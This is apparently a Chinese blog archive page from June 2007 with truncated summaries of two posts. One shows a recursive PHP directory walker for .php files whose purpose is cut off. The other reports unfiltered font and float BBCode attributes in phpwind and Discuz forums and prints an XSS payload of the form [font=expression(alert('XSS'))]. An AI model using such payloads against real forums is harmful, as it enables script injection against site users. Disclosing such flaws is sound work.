2007 年 6月 18 日随笔档案 - %5C

2007年6月18日

摘要： read()){ if((is_dir("$directory/$file")) && ($file!=".") && ($file!="..")) { tree("$directory/$file"); } else{ if($file != "." && $file != ".."&&eregi(".php",$file)){ $fd=r... 阅读全文

posted @ 2007-06-18 09:12 %5C 阅读(266) 评论(0) 推荐(0)

phpwind和DZ论坛跨站

摘要： PW论坛的FONT FACE字体没过滤：跨站代码：以下是代码片段：[font=expression(alert('XSS'))]xss[/font] DZ论坛的float浮动属性没过滤：跨站代码：以下是代码片段：[float=expression(a... 阅读全文

posted @ 2007-06-18 09:06 %5C 阅读(332) 评论(0) 推荐(0)